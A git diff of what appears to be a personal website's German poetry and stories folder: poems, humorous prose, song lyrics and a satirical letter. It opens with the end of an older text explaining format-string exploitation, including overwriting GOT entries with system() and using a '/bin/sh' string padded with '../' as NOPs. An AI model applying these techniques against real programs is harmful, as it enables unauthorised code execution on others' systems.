349Adressen. Der Vorteil ist, dass bei fast allen Standard-
350anwendungen die GOT ungefaehr gleich aussieht. Wenn man die
351Adresse des fopen-calls einfach mit der des system-calls ueber-
352schreibt, koennte man einen Teil des formatstrings glatt von
353einer Shell interpretieren lassen.
354
355Dies ist insoweit im Moment spannend, da ernsthaft damit ange-
356fangen wird, den Stack non-executable zu mappen und damit buffer
357overflows und darin befindlicher Shellcode zu verhindern.
358
359Dies liesse noch Spielraum fuer eine weitere Option, naemlich
360die Ruecksprungadresse der printf-aufrufenden Funktion zu
361ueberschreiben und zwar mit der Einsprungadresse von system,
362wenn man davor eine Adresse irgendwo im eigenen Formatstring
363hinpackt, kann man den Formatstring wie folgt gestalten:
364
365"/../../../../../../../../../bin/sh"
366
367die ../'s sind naemlich eigentlich auch NOPs.
diff --git a/stories/poetry/MeinVortrag/templ.html b/stories/poetry/MeinVortrag/templ.html
new file mode 100644
index 0000000..4592390
--- /dev/null
+++ b/stories/poetry/MeinVortrag/templ.html
@@ -0,0 +1,7 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="1.html">&lt;-</A><A HREF="1.html">-></A>
3
4
5
6
7</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/SeinSohn.md b/stories/poetry/SeinSohn.md
new file mode 100644
index 0000000..4551cba
--- /dev/null
+++ b/stories/poetry/SeinSohn.md
@@ -0,0 +1,17 @@
1<!--
2.. title: Sein Sohn
3.. date: 2004/09/01
4.. tags: poetry
5-->
6
7"Ach weißt du, mein Junge, damals war alles ein wenig komplizierter, als heute. Da gab es einen König, der war groß und mächtig, und das nur, weil er behauptete, alle Menschen mit großen Ohren seien dümmer und generell schlechter,als die mit kleinen Ohren und das gefiel den Menschen mit kleinen Ohren natürlich und es wurden Experimente gemacht und alle Menschen mit großen Ohren sollten das Königreich verlassen und alle, die es trotz großer Ohren nicht verlassen wollten, wurden eingesperrt, damit kein Kleinohriger mehr den anstößigen Anblick großer Ohren ertragen mußte.
8
9Da es dem König aus dem Nachbarreich egal war, welche Ohren die Menschen hatten und sich die beiden Könige noch nie leiden konnten, begann ein Krieg zwischen den Königreichen.
10
11Da begab es sich eines Tages, daß eine Frau mit ihrem Sohn beim Hofe des Königs Einlass begehrte, verlangte den König zu sprechen, ihre Kapuze lüftete, welche den Blick auf besonders große Ohren freigab, und die empörte Verdutztheit über frei herumlaufende Großohren ausnutzte, sich an der Torwache vorbeizudrängeln.
12
13Im Hofstaat angekommen, behauptete sie, daß ihr Sohn vom König sei und daß sie das auch beweisen könne und nachdem sie es bewies und da das bedeutete, daß der König gelogen und Großohrige nicht immer verachtet hatte und somit seine Macht verloren hätte, wurde beschlossen, die Frau nicht vorzulassen und niemandem weiter von der Sache zu erzählen und sie und ihr Sohn verschwanden im Kriegsgetümmel."
14
15"Und, Opa... wenn niemand weiter davon gewußt hat ... dann warst du also dieser Junge?"
16
17"Nein - ich habe ihn erschlagen."
diff --git a/stories/poetry/Unreal.md b/stories/poetry/Unreal.md
new file mode 100644
index 0000000..6780d3f
--- /dev/null
+++ b/stories/poetry/Unreal.md
@@ -0,0 +1,27 @@
1<!--
2.. title: Unreal
3.. date: 2005/07/01
4.. tags: poetry
5-->
6
7Unreal ist er, der Gedanke,<br/>
8der uns beide verbindet.<br/>
9Teils laengst gestorben<br/>
10und beerdigt<br/>
11und fleissig mit Traenen<br/>
12und Giesskannen begossen<br/>
13und mit Bluemchen<br/>
14und Straeuchern bepflanzt<br/>
15und wiederherbeigefleht<br/>
16und doch gefuerchtet<br/>
17und verwunschen<br/>
18und vielleicht rastloser<br/>
19und unheiliger Geist nur<br/>
20und fluechtend aus kaltem<br/>
21und nassem Grabe<br/>
22und auf der Jagd, mich<br/>
23und dich ungluecklich<br/>
24und allein zu sehen.<br/>
25Teils immer noch da<br/>
26und tausenfach um uns herum<br/>
27und nur nicht fuer mich.
diff --git a/stories/poetry/aussage1.md b/stories/poetry/aussage1.md
new file mode 100644
index 0000000..0361cbf
--- /dev/null
+++ b/stories/poetry/aussage1.md
@@ -0,0 +1,7 @@
1<!--
2.. title: Aussage 1
3.. date: 2000/12/01
4.. tags: poetry
5-->
6
7Geht nicht, mein ich. Man kann nicht schreiben, was keiner wissen will. Und wenn ich dir wirklich soviel bedeute, kann es besser sein, daß wir uns sofort voneinander trennen ohne, daß du merkst, was ich eigentlich wirklich von dir will. Bedenke: bei allem, was immer ich auch von mir gebe, du wirst nie daß, was ich gerade denke und fühle, in Erfahrung bringen. Denke nicht, daß du jetzt weißt, was ich sagen will, ich weiß es selber nicht. Warum auch? Aus der bloßen Tatsache, daß wer was schreibt, schließe nicht, daß ich auch irgendwas zu sagen habe. Und laß dich bloß nicht von mir belehren, wie du mit dem umzugehen hast, was ich dir eh vorenthalte. Denn nichts ist, wie es scheint und Floskeln machen Texte länger, erhöhen aber den Aussagegehalt genau so wenig, wie rhetorische Anfragen an dich, nicht wahr. Du meinst, alles, was du bis jetzt lesen konntest, läßt dich ein Bild von mir bilden, was, wenn jetzt etwas ganz Unerwartetes kommt? Scheiße. Trennst du Müll, bringt es was? Wählst du etwa? Interessierst dich Politik? Hast du Ahnung von Vögeln? Und magst du platte oder schlüpfrige Doppeldeutigkeiten? Paßt es dir, daß ich dich duze? Mußt das ja nicht lesen. War sicherlich eh nicht für dich geschrieben, also reg dich nicht auf und lies brav weiter, sei doch aber nicht so passiv und erwarte vor allem nicht, daß ich dir sage, was du zu tun hast, glaube mir aber alles, was du sagst. Wartest du auf Wahrheiten? Das Orakel ist müde und Poesie ist nur etwas für Ausgeschlafene. Können wir nicht einfach gute Freunde sein und alles brüderlich teilen? Bloß nicht mein Wissen, aber wahr ist doch eh nur, was du auch wahr haben willst, warum gehst du nicht und machst dir deine eigenen Gedanken. 9 mal 2 ist 12. Wenn wir doch nur die selbe Basis hätten. Und steckt nicht in jeder Lüge ein Körnchen Wahrheit und wurzelt nicht jeglicher Fortschritt in der Unwahrheit, gehen dir meine Assoziationen zu weit? Und ist all mein Schaffen nicht Teil einer gigantischen Verschwörung von der du ob ihrer Komplexität bisher nichts ahntest, oder soll ich dafür wieder das Bild des Hamsters in seinem fortschrittsbehindernden Umfeld bemühen. Ich erfülle meine Voraussagung aber will mich nicht selber zitieren, schau selbst, was ich meinen könnte, vielleicht denkst du ja jetzt doch schon, wie ich, mag sein, du wolltest es gar nicht. Man hätte aber mal darüber nachdenken können.
diff --git a/stories/poetry/aussage2.md b/stories/poetry/aussage2.md
new file mode 100644
index 0000000..8c48ee7
--- /dev/null
+++ b/stories/poetry/aussage2.md
@@ -0,0 +1,7 @@
1<!--
2.. title: Aussage 2
3.. date: 2000/12/02
4.. tags: poetry
5-->
6
7Ich finde Texte einfach zum Kotzen. Ich hasse Provokationen. Du solltest versuchen, diesen Text weder als Provokation noch als Text aufzufassen oder deine Attitüde zu der meinen verschieden wählen. Oder einfach aufhören diesen provozierenden Text zu lesen oder vielleicht einfach selber entscheiden, wovon du dich provoziert fühlst, gib nichts auf meine Auffassungen von mir selbst, oder dem Bild, welches ich von dir habe, entsprich ihm. Du hast eh keine Wahl. Stell dir lieber vor, welches Bild ich von dir habe und überdenke deines. Warum ich wohl sowas schreib und warum du es dann auch noch liest, sind wir uns nun deswegen ähnlich oder gerade nicht? Manipulier ich dich? Glaubst du, daß du merkst, wie ich dich manipuliere, warum hörst du nicht auf, zu lesen? Bist du der Meinung, die Kontrolle zu behalten? Funktioniert so Politik, wählst du dir deine Gesprächspartner nicht normalerweise gründlicher aus, was meinst du, wie wohl dialogische Kommunikation zwischen uns aussähe? Meinst du, du wüßtest, was zu sagen wäre, meinst du, ich wüßte es? Denkst du, du erfährst hier mehr über mich, als wenn du auch was zu sagen hättest, denkst du, du erfährst irgendetwas über mich, denkst du, ich wäre durchschaubar? Was hältst du von Texten? Dumme Frage. Auch sehr kategorisch, meine Meinung, findest du nicht? Kategorisierst du damit nicht auch? Ich denke nicht. War es zu offensichtlich? Nimmt der Strom nicht seltsam verschlungene Wege, ist es doch gottgegeben oder widerspricht sich das garnicht oder sollte ich mir als Atheist auch kein Bildnis machen? Soll ich nun provozieren? Ist Religion nicht ein heikles Thema, oder kommt das auf den Gegenüber an? Liest es sich noch so leicht ohne Führung? Konntest du mir folgen? Lies Sätze nicht zweimal. Lies Sätze nicht zweimal. Lies Sätze nicht zweimal. Und guck mich gefälligst an, wenn ich mit dir rede. Und sitz nicht so nachdenklich da, sag was. Achte nicht auf die Menschen um dich herum. Es tut gut, was zu sagen. Kritisiere, was du gerade liest und begehre dagegen auf. Erkenne die Schwachstellen und lass dich nicht beeinflussen. Und denke später darüber nach. Tu, wonach dir ist und gib nichts auf gutgemeinte lebensfremde Phrasen, aber lies erst zuende. Ist ja nicht mehr weit und sicherlich hättest du auch so getan, wonach dir ist. Denkst du. Nein, du tust es ja nicht mal. Und wirst es auch nicht. Ich auch nicht.
diff --git a/stories/poetry/aussage3.md b/stories/poetry/aussage3.md
new file mode 100644
index 0000000..e48bb03
--- /dev/null
+++ b/stories/poetry/aussage3.md
@@ -0,0 +1,7 @@
1<!--
2.. title: Aussage 3
3.. date: 2000/12/03
4.. tags: poetry
5-->
6
7Und da sitzen wieder zwei Menschen, zeitversetz, aber fast gegenüber, vor fast der selben Menge Wort. Für den einen ist sie noch nicht einmal fertig, für den anderen weitestgehend unverständlich. Das macht aber nichts. Bis jetzt haben nämlich beide keine Ahnung, was darin steht. Und seltsamerweise aendert sich da mit jedem Wort, ebenfalls für beide. Und das macht durchaus etwas aus. Zeigt es denn nicht, daß man sich auf den anderen einläßt? Nein. Denn der eine weiß nichts vom Anderen, außer dem Offentsichtlichem. Wahrscheinlich könnten sich beide nicht einmal leiden. Soll ich deutlicher werden? Im Passiv zu schreiben wirkt zu nachdenklich. Man sollte ja denken, daß ich genug Zeit zum Nachdenken gehabt hätte. Wenn nicht kannst du ja fuer mich weiter denken. Dir bleibt ja wohl noch genug Zeit dafür. Eigentlich verpflichtest du dich ja dadurch, daß du weiterliest, geradzu dazu. Man kann ja nicht an alles denken. Man sollte nicht zu fordernd sein. Man ist ja auch nicht mehr der Jüngste. Man flüchtet sich zu leicht wieder ins Passiv. Und reiht sinnlos Hauptsätze aneinander. Eigentlich hab ich gar keine Lust weiterzuschreiben. Ehrlich. Und du? Ehrlich, hast du eben ans weiterlesen oder weiterschreiben gedacht? Man, läßt du dich leicht in eine Rolle weisen!? Hast du dich jemals gefragt, ob dein ganzes Leben ein perfides Spiel ist. Eingefädelt zur Belustigung. Und bestimmt nicht deiner. Aber würdest du dann darauf hingewiesen werden? Wäre ja nicht in derem Sinne. Ist also dieser Text der Beweis, dass dem nicht so ist? Oder gerade? Oder gerade deswegen wieder nicht? Oder ab welcher Metaebene? Was hat das eigentlich mit diesem Text zu tun. Du schweifst ab! Lies gradliniger! Und sitz gerade! Muss man dich denn immer erinnern? Beim nächsten Mal fängst du wieder von vorne an. Sollte man man drüber nachdenken, aber nicht jetzt. Das lenkt zu sehr vom Lesen ab. Da gibt es nichts bei zu denken. War ja auch nicht abzusehen, dass wir so weit kommen. Und nun? Was sollen wir hier? Vielleicht mal rekapitulieren. Meinst du, daß du ansprechender schreiben würdest, als ich, daß dir deine Texte besser gefallen würden, als meine? Warum machst du dan keine? Das ist gar nicht so schwer. Ich werd es nicht lesen. Jemand anderes wird. Genau das hab ich mir nämlich auch gedacht. Vielleicht bist du ja der erste. Bilde dir nichts darauf ein! Das mach ich ja auch nicht.
diff --git a/stories/poetry/baecker.md b/stories/poetry/baecker.md
new file mode 100644
index 0000000..dcd9177
--- /dev/null
+++ b/stories/poetry/baecker.md
@@ -0,0 +1,32 @@
1<!--
2.. title: Bäcker
3.. date: 2002/01/01
4.. tags: poetry
5-->
6
7Ne Baeckerlehre. Irgendwas profanes. Da hat man sich dann schon einmal durchgerungen, am Kaffeetisch im Familien- und Freundeskreis der Eltern teilzunehmen, faehrt extra raus in die Pampa und dann das.
8
9Computerexperte.
10
11VERDAMMT!
12"Mein Sohn ist Computerexperte!" Und das mit einem Laecheln, dass dieses Wort nach "Bundeskanzler" klingen laesst, oder "Bankdirektor". Nun weiss man, dass man verloren hat.
13
14Alles kommt wieder hoch. All diese "Mutti, du kennst dich doch mit diesem Betriebssystem viel besser aus, als ich". Nein tut sie nicht und dann beweist sie, waehrend man schwitzend durch irgendwelche Systemsteuerungshilfen clickt, dass sie es doch besser weiss. Klar sie wuerden es alleine schaffen, jedes Mal, aber sie brauchen einen ja, damit man die Fehler macht, die sie vermeiden wollen, nur um dann ganz generoes darueber hinwegschauen zu koennen und einem ganz unauffaellig zu zeigen, wieviel Erfahrung sie schon gesammelt haben. Als ob das nun nicht schon alles genug waere, und Telefon- und Benzinkosten beliebiger Hoehe verursacht haette, sitzt man an dieser bekloppten Kaffeetafel und schluckt und versucht, alle Aehnlichkeit mit Bill Gates zu vermeiden, stopft sich mehr Kuchen in den Mund und schluckt und versucht, nicht wie ein voelliger Trottel auch noch rot zu werden, als ob man stolz drauf sei. Aber eigentlich weiss man, dass es keinen Zweck hat. Man hat verloren.
15
16Das sieht man daran, dass einen alle mit so ganz anderen Augen angucken. Man ist ploetzlich ein Nuetzling. Ein Trottel zwar, aber nuetzlich. Und man sieht an seinem inneren Augen schon die Situationen vorbeihuschen:
17
18Der Cousin, der sich "irgendwo im Interweb einen Trojaner-Virusprogramm" eingefangen hat und man darf da antanzen, clickt ein wenig herum, bekommt in der Browseraddresshistory Ferkelwoerter zu sehen, die einem einen ungefaehren Eindruck verschaffen, mit welcher Hartnaeckigkeit da gesucht wurde und von denen ein Grossteil da nicht im Traum einfallen wuerde, obwohl man ja selber auch nicht voellig.. aber egal! Man nickt ein paar mal bedeutend und schuettelt hier und dort den Kopf und wenn der Cousin dann irgendwas von "Iloveyou" und "Melissa" brabbelt, faellt einem nix weiter ein als "Ja, hab ich auf Heise gelesen, aber weiss ich jetzt auch nicht" und dann sieht man dieses schnippische "pah". Dieses "und du willst was von Computern verstehen". Und zu NetBSD und dem Apache, den man vorhin installiert hat und dem CryptoFS, an dem man grade codet, gibz nur ein "hab ich laengst durchgespielt" und man weiss, dass man Federn verloren hat, aber da nie wieder hin muss.
19
20Und da sitzt man nun, kaut auf Gabel und Kuchen und alle warten auf den Startschuss zur Hatz. Da gibt es immer einen widerlichen neuen Liebhaber irgendeiner Tante, der einem ganz scheinheilig zwei voellig aus der Luft gegriffene Monitortypen an den Kopf wirft und man soll nun entscheiden, welchen er kaufen soll nur um mit dieser Meinung gleich auseinander genommen zu werden. Man rettet sich mit Phantastereien ueber Lochmasken vom LCD Schirm und ist erloest.
21
22Vorerst nur, dank derselben bloede Tante, die den Typen angeschleppt hat, die macht naemlich einen Witz ueber Bankraeuber mit ihren Lochmasken. Die Meute hat nun mit der gestrigen Bildzeitung und dem schlimmen Bankueberfall genug zu tun, um vom heroischen Fluchtversuch abzulenken, den man dann notfuerftig als Toilettenbesuch getarnt, unternimmt. Saesse man noch da, wenn sie sich einem wieder widmeten, liefen man leicht Gefahr, jegliche Selbstachtung zu verlieren. Stattdessen steht der sehr verstaendnisvolle Opa im Flur, der unbedingt wissen will, was man denn da so gerade arbeitet und irgendwie tut es einem ernsthaft leid, dass das enttaeuschte Nichtverstehen in seinen Augen schon nach dem zweiten Buzzword durchfackelt.
23
24Und wieder uebermannt einen ein Bild drohenden Uebels. Situation: gemuetlicher Abend, Programmieren an der Weltverbesserung. Grundnahrungsmittel und Brot, eine gute Playlist, naechsten Morgen nicht frueh aufstehen... und dann natuerlich ploetzlich Telefon. Und dann vier Stunden irgendeinem Verwandten oder Bekannten eines Verwandten nur unter Zurhilfenahme eines XP auf dem Scancomputer in der Firma als Referenz beschreiben wie man unter Win95 versteckte Dateien einblendet und dlls ins Pluginverzeichnis des CD-Rippers kopiert, dass natuerlich nicht ueber den Startknopf im zweiten Menue sondern im Explorer, der aber dummerweise Arbeitsplatz heisst...
25
26dabei kann man gerade noch verhindern, auf dem Rueckweg vom Klo in das Nachbarskind zu rennen, dass inzwischen schon gross und ansehnlich geworden ist, und steht paralysiert da, wie man es aus schlechten Filmen kennt, wo auch der ekligste, pickelige Computerhacker doch noch das Cheerleadermaedchen abbekommt, und bestaetigt alle Stereotype und huscht durch das Wohnzimmer zurueck in das ehemalige Zimmer, das laengst zum Buero umfunktioniert wurde und tastet sein Gesicht nach Pickeln ab.
27
28Noch waehrend man den Obstkuchenfleck auf seinem Alt-F4 Shirt breitreibt, hoert man vor der Tuer die Nachbarskinder tuscheln und "wenn du mich aergerst, hol ich meinen grossen Bruder und der haut dich" scheint obsolet zu sein, jetzt bedrohen sie sich mit "dann hackt der dein Konto" und das geht spaetestens dann schief, wenn sie uebermuetig den Dorffaschos mit "und der macht dir Punkte in Flensburg" drohen.
29
30Und langsam reift die Erkenntnis, dass man seinen Eltern erzaehlen will, man wuerde jetzt Baecker oder Kfz-Mechaniker oder Bankdirektor.
31
32Oder Bundeskanzler!
diff --git a/stories/poetry/bsd.vs.linux.md b/stories/poetry/bsd.vs.linux.md
new file mode 100644
index 0000000..cd5c4fd
--- /dev/null
+++ b/stories/poetry/bsd.vs.linux.md
@@ -0,0 +1,11 @@
1<!--
2.. title: BSD vs. Linux
3.. date: 2002/02/01
4.. tags: poetry
5-->
6
7The daemon and penguin are fighting,<br/>
8under which license thou should be writing.<br/>
9But an a closer look,<br/>
10to me it is enuk,<br/>
11that emacs has syntax high-li-ting!<br/>
diff --git a/stories/poetry/domizil.md b/stories/poetry/domizil.md
new file mode 100644
index 0000000..8caa24d
--- /dev/null
+++ b/stories/poetry/domizil.md
@@ -0,0 +1,19 @@
1<!--
2.. title: (erdgeist II) Domizil
3.. date: 2002/12/02
4.. tags: poetry
5-->
6
7Wohl dem, der die Einsamkeit noch<br/>
8als Schatten begreift und nicht<br/>
9als das Universum, aus dem man<br/>
10vereinzelt nur Sternstunden<br/>
11der Freiheit sich pflueckt.<br/>
12Und welch Unglueck fuer den,<br/>
13der sich, vom Instinkt ueberwaeltig,<br/>
14des Lichts entsagt, nur um einem<br/>
15sich selbst nie erfuellenden Traum<br/>
16der Freiheit nachzugehn.<br/>
17Ich hingegen habe mein Domizil gefunden,<br/>
18in das bisher noch alle wandernden Seelen<br/>
19frueher oder spaeter zurueckfanden.
diff --git a/stories/poetry/dreiviertel b/stories/poetry/dreiviertel
new file mode 100644
index 0000000..0aba2f6
--- /dev/null
+++ b/stories/poetry/dreiviertel
@@ -0,0 +1,33 @@
1C D
2Schnee im April im Cafe auf der Strasse
3G a E
4eiskalt erwischt beim Treffen mit dir
5C D
6Erfrorene Worte schlittern nun rastlos
7G E
8taumelnd und einsam vor mir
9
10Eiszapfen gleich stechen die Blicke
11die deine verschneiten Augen verteiln
12zieh dich warm an und geniesse die Stunden
13die Glueck und Elend bei dir noch verweiln.
14
15 C d
16 Wohin immer du gehst,
17 E F
18 was auch immer dich treiben mag
19 G a
20 die Zeit ist vorbei,
21 B A
22 wo die Zeit noch Gefangene macht.
23
24 Was auch immer du suchst,
25
26 wer auch immer dich finden mag,
27
28 die Zeit gibt kleinbei,
29
30 wenn du ihr nur ein Laecheln schenkst.
31
32Regen im Mai beim Konzert auf der Wiese
33klatschnasse
diff --git a/stories/poetry/elokpaula.md b/stories/poetry/elokpaula.md
new file mode 100644
index 0000000..a89d4e6
--- /dev/null
+++ b/stories/poetry/elokpaula.md
@@ -0,0 +1,17 @@
1<!--
2.. title: E-Lok Paula
3.. date: 1999/12/01
4.. tags: poetry
5-->
6
7Und da saß ich nun im Bummelzug von New York nach Idar Oberstein, nachdem ich gerade erfolgreich am Ärztekongreß über postmortale Harninkontinenz teilgenommen & natürlich alle in Grund & Boden debattiert hatte. Alles lief seinen üblichen Gang: kurz vor Einfahrt des Zuges war meine Tasche auf die Gleise gefallen, weshalb mein neu erstandenes Vibratorset jetzt leicht verbogen ist, zwei Mexikanerjungen, die für ein geringes Bakshish Koffer für die Reisenden tragen, verloren ihr Leben, als sie sich im Kampf um meinen Rollcontainer gegenseitig gegen die Hochspannungsleitungen warfen & der Lokführer schoß uns den Weg durch den Pöbel frei, der keine Platzkarte bekommen hatte. Der Pöbel zog 'ne Flappe & verstreute sich dann.
8
9Doch nun saß ich gemütlich im Zug, probierte alle meine neuen Deosticks aus & erfreute mich an der Zugluft, als eine Stewardeß bestürzt durch mein Apartment stolperte & schrie: "Sie muß verrückt geworden sein... zur Hülf!" worauf sie durch mein offenes Kellerfenster nach jenseits der Gleise sprang. Aber weit gefehlt.
10
11Niemand war verrückt geworden, es lagen nur gehörige Mißverständnisse vor, aber dazu später dann mehr. Plötzlich kam ich, um den Faden wieder aufzunehmen, auf die Idee, meine Geschichte nicht mehr in der Vergangenheitsform zu erzählen & das tue ich nun. Ich werde also, um die Spannung aus dem Plot zu nehmen, dorthin laufen, woher die aufgeregte junge Dame gekommen sein wird & dort feststellen, daß erstens ich barfuß in einer Ölpfütze stehe & zweitens die Kuhüberreste, die sich am seitlichen Fenster langsam in einer der Fahrtrichtung entgegengesetzten... äh Richtung entlang schleifen lassen werden, darauf hindeuten können würden, daß mit der 293,70 Euro teuren Zugfahrt etwas nicht stimmen wird. Ich vermute später nachdem ich mit dem Futur ebenfalls gebrochen habe, daß sich der Grund hierfür im Speisewagen befände; nach einer Odyssee durch Nicht- & - Raucherabteils, Bordtelefone, verschiedene Kulturmetropolen & ein heruntergekommenes Fischgeschäft würde ich aber eines Besseren belehrt: Ich träfe nämlich den Lokomotivführer, der mir erklärte, mein Konjunktiv wäre zutiefst unpassend & die Lok spielt verrückt. Ich schleiche mich also in den Führerstand, weiche eins, zwei entgegenkommenden Ampeln aus, die Ölflecke an meine Füßen ein & frage die Lok entspannt, was los sei. Sie erwidert, von mir jetzt kurz zusammengefaßt, ihre Probleme seien größtenteils sexueller Natur (was ich ihr natürlich nicht glaube) worauf das gesamte Publikum grölt. Daraufhin ist sie noch beleidigter & setzt gerade an, die Schneise die sie eben in den Wald wälzt, Richtung Fluß zu lenken, als ich aus dem gerade heimlich hervorgekramten Führer zum "Umgang mit manisch depressiven Triebfahrzeugen" die einfühlsamen Worte "Erzähl mir doch deine Geschichte" vorlese. Das lenkt die Lok für ein paar Sekunden ab & noch bevor sie ihre halbfertigen Memoiren zur Hand hat, kann ich einen Selbstzerstörungsmechanismus installieren & abspringen. Als Paula, so hieß laut dem Aufdruck auf ihrem Tagebuch, auf das ich einen heimlichen Blick erhaschen konnte, die Lokomotive, also als Paula klar wird, was geschehen war & in Ermangelung von Extremitäten Extremisten beauftragt, den Selbstzerstörungsmechanismus in die Luft zu jagen, diese jedoch Geld & Plutonium dafür verlangen & das Wochenbudget von Paula ausgeschöpft bzw. ihre Coupons längst verbraucht sind, versprach sie, jetzt vernünftig zu sein, auf die Schiene zurückzukehren & durch Überschreiten der Höchstgeschwindigkeit den Fahrplan wieder einzuhalten. Ich bekomme langsam Mitleid & wieder einen präteritativen Schreibstil, jedoch waren die voreingestellten 5 Minuten bereits um & noch bevor ich die timbuktische Nationalhymne zum Entschärfen der Gravitonenbombe hätte zu ende pfeifen können, flogen mir die Memoiren einer E- Lok namens Paula um die Ohren.
12
13Ich überflog sie rasch, anscheinend hatte Paula mir, zumindest der letzten Eintragung nach, bereits vergeben & ich fand endlich den Grund für ihre Traurigkeit. Der innige Körperkontakt mit anderen Lokomotiven, den Paula brauchte, hätte bei den für sie typischen Geschwindigkeiten verheerende Folgen gehabt & war ihr deswegen verboten worden, so steigerte sich ihre Depression von Tag zu Tag & gerade heute wurde es ihr zuviel & eigentlich hatte sie bis zum Zeitpunkt meiner Intervention vor, das Lokomotivmuseum in Klein Aaknach zu besuchen, in das sie nun, aufgrund meiner Bemühungen gebracht wurde, in Einzelteilen, natürlich... Den Schornstein dürfte ich als Andenken behalten... wenn es eine Dampflok gewesen wäre. Er schmückte dann heute den Tisch meines Verteidigungsministers.
14
15Aber so...
16
17 Karl G.
diff --git a/stories/poetry/fdp.md b/stories/poetry/fdp.md
new file mode 100644
index 0000000..8284527
--- /dev/null
+++ b/stories/poetry/fdp.md
@@ -0,0 +1,60 @@
1<!--
2.. title: F.D.P.
3.. date: 2002/06/01
4.. tags: poetry
5-->
6
7Dear http://www.bonsaikitten.com/ staff,::
8
9 I am speaking for a larger german party called
10 F.D.P. ( the Free Liberal Party:
11 http://www.fdp.de/ ) As you might know, on
12 September, 22nd the next election for the
13 German Bundestag will take place and we
14 currently are preparing our election campaign.
15 As providing giveaways for interested voters
16 always is a good idea, we consider ordering a
17 larger quantity of kittens.
18
19 Now there are some questions left about this
20 strategy:
21 * Is it possible to form a single kitten into
22 our F.D.P. shape, or will we have to order
23 a set of 3 kittens each for a single letter?
24 * Is it possible to colorize the kittens in
25 our party logo colors blue and yellow? Maybe
26 the space between each letters and its dots
27 in blue and the remaining space yellow?
28 * if we order, say 100.000 kittens, will you
29 offer a discount?
30 * is it possible to order these kittens on a
31 commission base? That's because if we don't
32 get enough votes in the election, we may not
33 be able to pay all the kittens. Maybe you
34 shape/form 50.000 pieces "just a bit" so
35 you can reinflate them when we send them
36 back?
37 * As we currently have some problems
38 concerning accuses of antisemitism we want
39 to be sure not to let jewish cats be put into
40 glasses, as this might result in bad press
41 of the kind "F.D.P. imprisons jewish kittens".
42 Could you please verify that each of these
43 kittens is not pruned?
44 * Of course it would be necessary to have those
45 pets as soon as possible, how long would
46 it take until the shaping is perfect? May we
47 suggest giving HGH to accelerate the growth?
48
49 If you can fulfil our needs we even may think
50 about ordering a special "parachute edition"
51 which could be dropped at campaign events.
52
53 And: if your support leads us to government, we
54 will pass a law, forcing every school to have
55 at least one kitten for biology classes.
56
57Yours sincerely
58
59 Martin Matz
60 chairmember of F.D.P.
diff --git a/stories/poetry/feindkontakt.md b/stories/poetry/feindkontakt.md
new file mode 100644
index 0000000..8d73834
--- /dev/null
+++ b/stories/poetry/feindkontakt.md
@@ -0,0 +1,47 @@
1<!--
2.. title: Feindkontakt
3.. date: 2001/08/01
4.. tags: poetry
5-->
6
7Es ist wieder Zeit, nachzudenken.<br/>
8Das Leben breitet sich vor dir<br/>
9aus wie unbekanntes Feindesland.<br/>
10Und sie wollen von dir, dass du,<br/>
11ohne Plan und nahezu unbewaffnet<br/>
12und schlecht ausgebildet<br/>
13deinen Kopf behaeltst und nicht<br/>
14aus Versehen den Falschen triffst<br/>
15und den Deinen Schande bereitest.<br/>
16Und noch waehrend du dir deine<br/>
17Strategie zurecht legst<br/>
18und aus deiner Deckung kriechst,<br/>
19fuehlst du, dass es fuer dich hier<br/>
20und jetzt vorbei ist.<br/>
21Dass es an der Zeit ist, endlich<br/>
22das Kommando zu uebernehmen und<br/>
23die gottverdammte Verantwortung.<br/>
24Dass es Zeit wird, aufrecht zu<br/>
25gehen, auch wenn du dabei Gefahr<br/>
26laeufst, dir den Kopf zu stossen.<br/>
27Und dass du merkst, dass dies kein<br/>
28Grund ist, auf dich stolz zu sein<br/>
29sondern dass du dich beschaemt und<br/>
30enttaeuscht fuehlen muesstest,<br/>
31dass du selbst und die meisten<br/>
32um dich herum gekrochen sind.<br/>
33Und es ist an der Zeit, dass du<br/>
34endlich erkennen und im Stehen<br/>
35keine Fronten sehen wirst,<br/>
36von denen sie erzaehlt haben, dass<br/>
37sie sich direkt vor dir befinden.<br/>
38Und ja! Schrei es hinaus und<br/>
39tanze und springe durch dieses<br/>
40... Vaterland.<br/>
41Und wenn dich alle anderen<br/>
42ausgelacht haben, dann leg dich<br/>
43ruhig wieder hin.<br/>
44Denn du hast ja bewiesen, dass<br/>
45du nachgedacht hast und die<br/>
46Ketten von dir geworfen.<br/>
47Aber taeglich?<br/>
diff --git a/stories/poetry/freiheit.md b/stories/poetry/freiheit.md
new file mode 100644
index 0000000..f6d8997
--- /dev/null
+++ b/stories/poetry/freiheit.md
@@ -0,0 +1,21 @@
1<!--
2.. title: (erdgeist III) Freiheit
3.. date: 2002/12/03
4.. tags: poetry
5-->
6
7Freiheit der Seele<br/>
8ist eine Illusion.<br/>
9Und gerade, weil mich seit<br/>
10Jahrhunderten umtreibt,<br/>
11was der Wille nicht zu<br/>
12verhindern mochte<br/>
13und ich Seelen, Geister,<br/>
14ach so freie Gestalten<br/>
15einfing, wie die Sonne<br/>
16die Erde und die Erde<br/>
17den Mond.<br/>
18Gerade deswegen weiss ich,<br/>
19dass auch du allzu gern<br/>
20Geborgenheit gegen Freiheit<br/>
21eintauschen wirst.
diff --git a/stories/poetry/fruehlingsgewitter.md b/stories/poetry/fruehlingsgewitter.md
new file mode 100644
index 0000000..90941d1
--- /dev/null
+++ b/stories/poetry/fruehlingsgewitter.md
@@ -0,0 +1,30 @@
1<!--
2.. title: Frühlingsgewitter
3.. date: 2002/05/02
4.. tags: poetry
5-->
6
7Wenn das Grau der Stadt sich mischt<br/>
8mit dem schweren Dunkel des Regens,<br/>
9der sich langsam ueber uns legt,<br/>
10wie eine alte staubige Gardine,<br/>
11und uns einfaengt, wie zerfetzte<br/>
12Weben einer unsichtbaren Spinne.<br/>
13Wenn zur Last der durchnaessten<br/>
14Kleider auf den Leib<br/>
15noch der Himmel eine unertraegliche<br/>
16Schwere auf die Seele legt.<br/>
17Wenn der stete Wind, der die<br/>
18Tropfen auf der Haut trocknet,<br/>
19mich noch mehr froesteln laesst,<br/>
20als der Wiederhall des Wetters<br/>
21aus der Ferne, der sich mischt mit<br/>
22dem bedrohlichen Zucken des Lichts.<br/>
23Und wenn es sich spiegelt,<br/>
24in deinen Augen, deren Gegenwart<br/>
25deine blasse Haut unmerklich<br/>
26in der Tiefe des Aprils verlieren<br/>
27und mich traeumen laesst.<br/>
28Dann sind genau diese Augen der Ort,<br/>
29an dem ich Klarheit finde<br/>
30und Waerme und Farbe.<br/>
